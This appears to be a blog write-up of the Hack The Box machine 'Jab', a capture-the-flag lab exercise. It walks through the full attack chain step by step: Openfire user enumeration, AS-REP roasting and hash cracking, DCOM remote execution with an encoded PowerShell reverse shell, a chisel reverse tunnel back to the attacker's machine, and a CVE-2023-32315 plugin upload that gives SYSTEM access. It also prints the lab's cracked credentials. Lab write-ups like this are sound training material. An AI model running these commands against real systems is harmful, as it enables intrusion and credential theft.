Post

HTB - Jab

Jab - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

HTB - Jab


HTB - Jab

1
sudo nmap -sUV -T4 -F --version-intensity 0 10.129.251.236

image1

1
nmap 10.129.251.236 -p-

image2

1
nmap 10.129.251.236 -A

image3

  • Add jab.htb to /etc/hosts

  • From the NMAP scan we can see Openfire is running

  • Download the Openfire client - Spark

image4

  • Tick “Login anonymously” (You can click on the arrow next to Username to get a randomly generated username - if you want to enter chatrooms or send messages)

  • Enter the domain name

  • Click on Advanced

image5

  • Untick Auto Discovery and enter the IP and port of the server

  • Disable Encryption:

image6

  • Under Certificates tick Accept self-signed

image7

  • Click Okay and Login

  • There isn’t much here apart from two conference rooms that we can’t join:

image8

  • Let’s try and enumerate for users - Using the wilcard *

image9

image10

  • We get a massive list of Openfire users (on the domain)

  • We need to add all these usernames into a list

  • The way I found was to screenshot a portion of the Usernames field - paste into Paint Then use https://brandfolder.com/workbench/extract-text-from-image to extract the text and paste into the username list

  • ASRepRoasting using the users wordlist we made from the Openfire usernames:

1
2
impacket-GetNPUsers jab.htb/ -users users.txt -no-pass -dc-ip 10.129.251.236

image11

  • Crack the hash using hashcat:
1
2
hashcat -m 18200 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt

image12

  • We have credentials: jmontgomery : Midnight_121

  • Check the credentials for SMB:

1
2
crackmapexec smb 10.129.251.236 -u "jmontgomery" -p "Midnight_121"

image13

  • Use these credentials to log back into the Openfire Spark client

  • Looking at the conference rooms - There’s a new conference room that we can join:

image14

image15

  • The penetration testers ran GetUserSPN to get a TGS ticket for a service
  • And they found one for svc_openfire

svc_openfire : !@#$%^&*(1qazxsw

  • Looks like no one tested it and the password is still in play:

image16

  • From the SMB enum we can see that svc_openfire is part of the DCOM Users group:

image17

  • Trying to log in through PS, smbexec, psexec, wmiexec or any of those will result in failure - Access Denied

image18

  • But using the DCOM protocol and the svc_openfire credentials:
1
2
impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.129.156.10 'cmd.exe /c powershell -e <BASE64_rev_shell>' -silentcommand

image19

  • We get a shell:

image20

image21

  • Upload meterpreter rev.exe and run to upgrade to a meterpreter shell:

image22

Openfire Admin console runs on port 9090

1
2
netstat -ano

image23

  • We see the admin console running locally on port 9090

  • Upload chisel to the target

    • On Kali:
1
chisel server -p 8888 --reverse
  • On target:
1
2
.\chisel.exe client <kali_ip>:8888 R:socks

  • On Kali - Enable foxyproxy

image24

image25

image26

CVE-2023-32315

1
2
git clone <https://github.com/miko550/CVE-2023-32315.git>

  • If we didn’t have a user, do the following:
1
2
3
4
cd CVE-2023-32315
pip3 install -r requirements.txt
python3 CVE-2023-32315.py -t http://127.0.0.1:9090

image27

  • But we can use the svc_openfire user with: *!@#$%^&(1qazxsw*

  • Go to the Plugins page
  • Upload the plugin (openfire-management-tool-plugin.jar ) found in the git repo

image28

image29

  • Successfully uploaded and the password is 123
  • Go to Server -> Server Settings -> Management Tool (If you take too long, you need to reupload the plugin)

image30

  • Enter the password 123

  • Click on File system

image31

  • Go to: C:/Users/Administrator/Desktop

image32

  • Click edit on root.txt

  • Got the root flag:

image33

  • We can also execute system commands to get a shell as SYSTEM:

image34

This post is licensed under CC BY 4.0 by the author.